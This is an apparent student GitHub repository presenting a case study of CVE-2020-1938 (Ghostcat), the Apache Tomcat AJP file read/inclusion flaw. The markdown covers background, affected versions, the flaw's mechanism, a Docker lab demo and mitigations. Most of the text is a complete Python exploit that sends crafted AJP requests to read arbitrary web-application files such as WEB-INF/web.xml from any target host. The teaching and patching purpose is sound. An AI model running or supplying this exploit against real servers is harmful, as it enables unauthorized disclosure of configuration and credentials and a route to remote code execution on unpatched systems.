├── README.md ├── CVE-2020-1938.md └── CVE-2020-1938.py /README.md: -------------------------------------------------------------------------------- 1 | # Hacking-Vulnerability-case-study-presentations- -------------------------------------------------------------------------------- /CVE-2020-1938.md: -------------------------------------------------------------------------------- 1 | ### Vulnerability case study presentations 2 | ### Hancheng Lei(251099234), Siyang Li(251129414) 3 | # CVE-2020-1938: Ghostcat-Apache Tomcat AJP File Read/Inclusion Vulnerability 4 | 5 | ## Background 6 | 7 | ### When it was discovered? 8 | On February 20, China National Vulnerability Database (CNVD) published a security advisory for CNVD-2020-10487, a severe vulnerability in Apache Tomcat’s Apache JServ Protocol (or AJP). AJP is a binary protocol designed to handle requests sent to a web server destined for an application server in order to improve performance. 9 | 10 | The vulnerability (CVE-2020-1938), dubbed Ghostcat, was discovered by researchers at Chaitin Tech and reported to the Apache Software Foundation on January 3, 2020 [1]. 11 | 12 | ### What is Apache Tomcat? 13 | Apache Tomcat (called "Tomcat" for short) is an open-source implementation of the Java Servlet, JavaServer Pages, Java Expression Language and WebSocket technologies.Tomcat provides a "pure Java" HTTP web server environment in which Java code can run. 14 | 15 | Tomcat is developed and maintained by an open community of developers under the auspices of the Apache Software Foundation, released under the Apache License 2.0 license [2]. 16 | 17 | ### What is AJP Protocol? 18 | The AJP is a binary protocol used by the Apache Tomcat webserver to communicate with the servlet container that sits behind the webserver using TCP connections. It is mainly used in a cluster or reverse proxy scenario where web servers communicate with application servers or servlet containers. 19 | 20 | ### What is CVE-2020-1938? 21 | CVE-2020-1938 is a file read/inclusion vulnerability in the AJP connector in Apache Tomcat. This is enabled by default with a default configuration port of 8009. A remote, unauthenticated attacker could exploit this vulnerability to read web application files from a vulnerable server. In instances where the vulnerable server allows file uploads, an attacker could upload malicious JavaServer Pages (JSP) code within a variety of file types and trigger this vulnerability to gain remote code execution (RCE) [1]. 22 | 23 | ## Description 24 | ### Official Description[3] 25 | >When using the Apache JServ Protocol (AJP), care must be taken when trusting incoming connections to Apache Tomcat. Tomcat treats AJP connections as having higher trust than, for example, a similar HTTP connection. If such connections are available to an attacker, they can be exploited in ways that may be surprising. In Apache Tomcat 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99, Tomcat shipped with an AJP Connector enabled by default that listened on all configured IP addresses. It was expected (and recommended in the security guide) that this Connector would be disabled if not required. This vulnerability report identified a mechanism that allowed: - returning arbitrary files from anywhere in the web application - processing any file in the web application as a JSP Further, if the web application allowed file upload and stored those files within the web application (or 26 | the attacker was able to control the content of the web application by some other means) then this, along with the ability to process a file as a JSP, made remote code execution possible. It is important to note that mitigation is only required if an AJP port is accessible to untrusted users. Users wishing to take a defence-in-depth approach and block the vector that permits returning arbitrary files and execution as JSP may upgrade to Apache Tomcat 9.0.31, 8.5.51 or 7.0.100 or later. A number of changes were made to the default AJP Connector configuration in 9.0.31 to harden the default configuration. It is likely that users upgrading to 9.0.31, 8.5.51 or 7.0.100 or later will need to make small changes to their configurations. 27 | 28 | ### Explain in simple words 29 | + Basic conditions: 30 | Apache Tomcat versions 6.x, 7.x, 8.x, and 9.x allows remote code execution when the AJP connector, which is enabled by default and listens on all addresses on port 8009, is treated with more trust than a connection such as HTTP. In this circumstances, an attacker can be allowed to exploit it to perform actions that are not intended for an untrusted user. 31 | + Ghostcat allows an attacker to retrieve arbitrary files from anywhere in the web application, including the `WEB-INF` and `META-INF` directories and any other location that can be reached via `ServletContext.getResourceAsStream()`. It also allows the attacker to process any file in the web application as JSP[4]. 32 | + If an application running on an affected version of Tomcat contains a file upload vulnerability, an attacker can exploit it in combination with Ghostcat to achieve remote code execution. 33 | 34 | ## Impact 35 | According to a post in the Apache Software Foundation Blog from 2010, Apache Tomcat has been downloaded over 10 million times. Apache Tomcat is used by a variety of software applications, often bundled as an embedded web server. The potential impact of this vulnerability is wide, if the vulnerability is not fixed, these users and their data will be at risk. 36 | 37 | ### Affected Versions and Fixed Version [1] 38 | Apache Version|Affected Release Versions|Fixed Version 39 | ---|:--:|---: 40 | Apache Tomcat 9|9.0.30 and below|9.0.31 41 | Apache Tomcat 8|8.5.50 and below|8.5.51 42 | Apache Tomcat 7|7.0.99 and below|7.0.100 43 | 44 | ## Vulnerability Analysis and Exploits 45 | 46 | ### Vulnerability principle: 47 | 48 | When tomcat processes a request, it will try to get the value from Request Attribute of javax.servlet.include.servlet_path. The Default Servlet takes it as the file path of the static resource file to be requested and JspServlet takes it as the file path of the JSP file to be requested. Because this attribute is controllable, we can read any file in the webapp directory through the Request Attribute. 49 | 50 | The vulnerability exists when the conditions of RCE are met: 51 | 52 | Web applications need to allow files to be uploaded and stored in web applications. Otherwise, attackers will have to control the content of web applications in some way. This situation, together with the ability to process files as JSPS (through vulnerabilities), will make rce possible. 53 | 54 | steps: 55 | 1. Through ghostcat vulnerability, an attacker can read any file in the webapp directory deployed under Tomcat by using the AJP connection which is usually found on port 8009. 56 | 57 | 2. At the same time, if this application has upload function in the website service, the attacker can also upload a malicious file containing JSP code to the server (upload file can be any type, image, plain text file, etc.), and then use ghostcat to include the file, so as to achieve the harm of code execution. 58 | 59 | ### Exploits Demo 60 | Tools: Kali-linux 64 bit Virtual Machine, Tomcat-8.5.32, JRE8 environment. 61 | 62 | 1. Search the image of tomcat-8.5.32 by Docker[5]. 63 | 64 | command: `docker search tomcat-8.5.32` 65 | 66 | the command of docker installation: `apt install docker.io` 67 | 68 | ![search image](https://github.com/Siyang9065/img/blob/main/search%20image.png?raw=true "search image") 69 | 70 | 2. Pull image of tomcat and load it to local virtual machine. 71 | 72 | command: `docker search duonghuuphuc/tomcat-8.5.32` 73 | 74 | ![pull image](https://github.com/Siyang9065/img/blob/main/pull%20image.png?raw=true "pull image") 75 | 76 | 3. Run ports 8080 and 8009 after create the container of this image. 77 | 78 | command: `docker run -d -p 8080:8080 -p 8009:8009 --name ghostcat duonghuuphuc/tomcat-8.5.32` 79 | 80 | -d: Run container in background and return container ID. 81 | 82 | -p: the internal port of the container is bound to the specified host port. 83 | 84 | --name: specify the name of container. 85 | 86 | ![run ports](https://github.com/Siyang9065/img/blob/main/run%20tomcat.png?raw=true "run ports 8080 and 8009 ") 87 | 88 | 4. Use the tool Nmap[6] to scan whether the ports 8080 and 8009 of the local IP address are open. 89 | 90 | command: `nmap ` 91 | 92 | ![check ports](https://github.com/Siyang9065/img/blob/main/check%20ports.png?raw=true "check ports") 93 | 94 | 5. Check if the Tomcat environment is working properly in web browser. 95 | 96 | ![run tomcat](https://github.com/Siyang9065/img/blob/main/tomcat-8.5.32.png?raw=true "run tomcat") 97 | 98 | 6. Run python vulnerability script in the host port 8009 to read files which are in the webapp directory. 99 | 100 | command: `python CVE-2020-1938.py -p 8009 -f WEB-INF/web.xml` 101 | 102 | -p: specify the port 103 | 104 | -f: specify the location of the file to be read 105 | 106 | ![exploit script](https://github.com/Siyang9065/img/blob/main/exploit%20script.png?raw=true "exploit script") 107 | 108 | ![read web file](https://github.com/Siyang9065/img/blob/main/read%20files.png?raw=true "run web file") 109 | 110 | ![read index file](https://github.com/Siyang9065/img/blob/main/read%20index%20file.png?raw=true "run index file") 111 | 112 | ## Workaround 113 | The best way is updating your Apache Tomcat version to the latest one, for example, 9.0.31. 114 | 115 | If an upgrade is not possible, the requiredSecret attribute can be configured to set AJP protocol authentication credentials like so: 116 | 117 | `` 118 | 119 | ## References 120 | [1]https://www.tenable.com/blog/cve-2020-1938-ghostcat-apache-tomcat-ajp-file-readinclusion-vulnerability-cnvd-2020-10487 121 | 122 | [2]https://en.wikipedia.org/wiki/Apache_Tomcat 123 | 124 | [3]https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1938\ 125 | 126 | [4]https://www.synopsys.com/blogs/software-security/ghostcat-vulnerability-cve-2020-1938/ 127 | 128 | [5]https://www.docker.com/ 129 | 130 | [6]https://nmap.org/ -------------------------------------------------------------------------------- /CVE-2020-1938.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #CNVD-2020-10487 Tomcat-Ajp lfi 3 | import struct 4 | 5 | # Some references: 6 | # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html 7 | def pack_string(s): 8 | if s is None: 9 | return struct.pack(">h", -1) 10 | l = len(s) 11 | return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0) 12 | def unpack(stream, fmt): 13 | size = struct.calcsize(fmt) 14 | buf = stream.read(size) 15 | return struct.unpack(fmt, buf) 16 | def unpack_string(stream): 17 | size, = unpack(stream, ">h") 18 | if size == -1: # null string 19 | return None 20 | res, = unpack(stream, "%ds" % size) 21 | stream.read(1) # \0 22 | return res 23 | class NotFoundException(Exception): 24 | pass 25 | class AjpBodyRequest(object): 26 | # server == web server, container == servlet 27 | SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) 28 | MAX_REQUEST_LENGTH = 8186 29 | def __init__(self, data_stream, data_len, data_direction=None): 30 | self.data_stream = data_stream 31 | self.data_len = data_len 32 | self.data_direction = data_direction 33 | def serialize(self): 34 | data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH) 35 | if len(data) == 0: 36 | return struct.pack(">bbH", 0x12, 0x34, 0x00) 37 | else: 38 | res = struct.pack(">H", len(data)) 39 | res += data 40 | if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER: 41 | header = struct.pack(">bbH", 0x12, 0x34, len(res)) 42 | else: 43 | header = struct.pack(">bbH", 0x41, 0x42, len(res)) 44 | return header + res 45 | def send_and_receive(self, socket, stream): 46 | while True: 47 | data = self.serialize() 48 | socket.send(data) 49 | r = AjpResponse.receive(stream) 50 | while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS: 51 | r = AjpResponse.receive(stream) 52 | 53 | if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4: 54 | break 55 | class AjpForwardRequest(object): 56 | _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28) 57 | REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE} 58 | # server == web server, container == servlet 59 | SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) 60 | COMMON_HEADERS = ["SC_REQ_ACCEPT", 61 | "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION", 62 | "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2", 63 | "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT" 64 | ] 65 | ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"] 66 | def __init__(self, data_direction=None): 67 | self.prefix_code = 0x02 68 | self.method = None 69 | self.protocol = None 70 | self.req_uri = None 71 | self.remote_addr = None 72 | self.remote_host = None 73 | self.server_name = None 74 | self.server_port = None 75 | self.is_ssl = None 76 | self.num_headers = None 77 | self.request_headers = None 78 | self.attributes = None 79 | self.data_direction = data_direction 80 | def pack_headers(self): 81 | self.num_headers = len(self.request_headers) 82 | res = "" 83 | res = struct.pack(">h", self.num_headers) 84 | for h_name in self.request_headers: 85 | if h_name.startswith("SC_REQ"): 86 | code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1 87 | res += struct.pack("BB", 0xA0, code) 88 | else: 89 | res += pack_string(h_name) 90 | 91 | res += pack_string(self.request_headers[h_name]) 92 | return res 93 | 94 | def pack_attributes(self): 95 | res = b"" 96 | for attr in self.attributes: 97 | a_name = attr['name'] 98 | code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1 99 | res += struct.pack("b", code) 100 | if a_name == "req_attribute": 101 | aa_name, a_value = attr['value'] 102 | res += pack_string(aa_name) 103 | res += pack_string(a_value) 104 | else: 105 | res += pack_string(attr['value']) 106 | res += struct.pack("B", 0xFF) 107 | return res 108 | def serialize(self): 109 | res = "" 110 | res = struct.pack("bb", self.prefix_code, self.method) 111 | res += pack_string(self.protocol) 112 | res += pack_string(self.req_uri) 113 | res += pack_string(self.remote_addr) 114 | res += pack_string(self.remote_host) 115 | res += pack_string(self.server_name) 116 | res += struct.pack(">h", self.server_port) 117 | res += struct.pack("?", self.is_ssl) 118 | res += self.pack_headers() 119 | res += self.pack_attributes() 120 | if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER: 121 | header = struct.pack(">bbh", 0x12, 0x34, len(res)) 122 | else: 123 | header = struct.pack(">bbh", 0x41, 0x42, len(res)) 124 | return header + res 125 | def parse(self, raw_packet): 126 | stream = StringIO(raw_packet) 127 | self.magic1, self.magic2, data_len = unpack(stream, "bbH") 128 | self.prefix_code, self.method = unpack(stream, "bb") 129 | self.protocol = unpack_string(stream) 130 | self.req_uri = unpack_string(stream) 131 | self.remote_addr = unpack_string(stream) 132 | self.remote_host = unpack_string(stream) 133 | self.server_name = unpack_string(stream) 134 | self.server_port = unpack(stream, ">h") 135 | self.is_ssl = unpack(stream, "?") 136 | self.num_headers, = unpack(stream, ">H") 137 | self.request_headers = {} 138 | for i in range(self.num_headers): 139 | code, = unpack(stream, ">H") 140 | if code > 0xA000: 141 | h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001] 142 | else: 143 | h_name = unpack(stream, "%ds" % code) 144 | stream.read(1) # \0 145 | h_value = unpack_string(stream) 146 | self.request_headers[h_name] = h_value 147 | def send_and_receive(self, socket, stream, save_cookies=False): 148 | res = [] 149 | i = socket.sendall(self.serialize()) 150 | if self.method == AjpForwardRequest.POST: 151 | return res 152 | 153 | r = AjpResponse.receive(stream) 154 | assert r.prefix_code == AjpResponse.SEND_HEADERS 155 | res.append(r) 156 | if save_cookies and 'Set-Cookie' in r.response_headers: 157 | self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie'] 158 | 159 | # read body chunks and end response packets 160 | while True: 161 | r = AjpResponse.receive(stream) 162 | res.append(r) 163 | if r.prefix_code == AjpResponse.END_RESPONSE: 164 | break 165 | elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK: 166 | continue 167 | else: 168 | raise NotImplementedError 169 | break 170 | 171 | return res 172 | 173 | class AjpResponse(object): 174 | _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7) 175 | COMMON_SEND_HEADERS = [ 176 | "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified", 177 | "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate" 178 | ] 179 | def parse(self, stream): 180 | # read headers 181 | self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb") 182 | 183 | if self.prefix_code == AjpResponse.SEND_HEADERS: 184 | self.parse_send_headers(stream) 185 | elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK: 186 | self.parse_send_body_chunk(stream) 187 | elif self.prefix_code == AjpResponse.END_RESPONSE: 188 | self.parse_end_response(stream) 189 | elif self.prefix_code == AjpResponse.GET_BODY_CHUNK: 190 | self.parse_get_body_chunk(stream) 191 | else: 192 | raise NotImplementedError 193 | 194 | def parse_send_headers(self, stream): 195 | self.http_status_code, = unpack(stream, ">H") 196 | self.http_status_msg = unpack_string(stream) 197 | self.num_headers, = unpack(stream, ">H") 198 | self.response_headers = {} 199 | for i in range(self.num_headers): 200 | code, = unpack(stream, ">H") 201 | if code <= 0xA000: # custom header 202 | h_name, = unpack(stream, "%ds" % code) 203 | stream.read(1) # \0 204 | h_value = unpack_string(stream) 205 | else: 206 | h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001] 207 | h_value = unpack_string(stream) 208 | self.response_headers[h_name] = h_value 209 | 210 | def parse_send_body_chunk(self, stream): 211 | self.data_length, = unpack(stream, ">H") 212 | self.data = stream.read(self.data_length+1) 213 | 214 | def parse_end_response(self, stream): 215 | self.reuse, = unpack(stream, "b") 216 | 217 | def parse_get_body_chunk(self, stream): 218 | rlen, = unpack(stream, ">H") 219 | return rlen 220 | 221 | @staticmethod 222 | def receive(stream): 223 | r = AjpResponse() 224 | r.parse(stream) 225 | return r 226 | 227 | import socket 228 | 229 | def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET): 230 | fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER) 231 | fr.method = method 232 | fr.protocol = "HTTP/1.1" 233 | fr.req_uri = req_uri 234 | fr.remote_addr = target_host 235 | fr.remote_host = None 236 | fr.server_name = target_host 237 | fr.server_port = 80 238 | fr.request_headers = { 239 | 'SC_REQ_ACCEPT': 'text/html', 240 | 'SC_REQ_CONNECTION': 'keep-alive', 241 | 'SC_REQ_CONTENT_LENGTH': '0', 242 | 'SC_REQ_HOST': target_host, 243 | 'SC_REQ_USER_AGENT': 'Mozilla', 244 | 'Accept-Encoding': 'gzip, deflate, sdch', 245 | 'Accept-Language': 'en-US,en;q=0.5', 246 | 'Upgrade-Insecure-Requests': '1', 247 | 'Cache-Control': 'max-age=0' 248 | } 249 | fr.is_ssl = False 250 | fr.attributes = [] 251 | return fr 252 | 253 | class Tomcat(object): 254 | def __init__(self, target_host, target_port): 255 | self.target_host = target_host 256 | self.target_port = target_port 257 | 258 | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 259 | self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 260 | self.socket.connect((target_host, target_port)) 261 | self.stream = self.socket.makefile("rb", bufsize=0) 262 | 263 | def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]): 264 | self.req_uri = req_uri 265 | self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method)) 266 | print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) 267 | if user is not None and password is not None: 268 | self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '') 269 | for h in headers: 270 | self.forward_request.request_headers[h] = headers[h] 271 | for a in attributes: 272 | self.forward_request.attributes.append(a) 273 | responses = self.forward_request.send_and_receive(self.socket, self.stream) 274 | if len(responses) == 0: 275 | return None, None 276 | snd_hdrs_res = responses[0] 277 | data_res = responses[1:-1] 278 | if len(data_res) == 0: 279 | print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers) 280 | return snd_hdrs_res, data_res 281 | 282 | ''' 283 | javax.servlet.include.request_uri 284 | javax.servlet.include.path_info 285 | javax.servlet.include.servlet_path 286 | ''' 287 | 288 | import argparse 289 | parser = argparse.ArgumentParser() 290 | parser.add_argument("target", type=str, help="Hostname or IP to attack") 291 | parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)") 292 | parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)") 293 | args = parser.parse_args() 294 | t = Tomcat(args.target, args.port) 295 | _,data = t.perform_request('/asdf',attributes=[ 296 | {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']}, 297 | {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]}, 298 | {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']}, 299 | ]) 300 | print('----------------------------') 301 | print("".join([d.data for d in data])) 302 | --------------------------------------------------------------------------------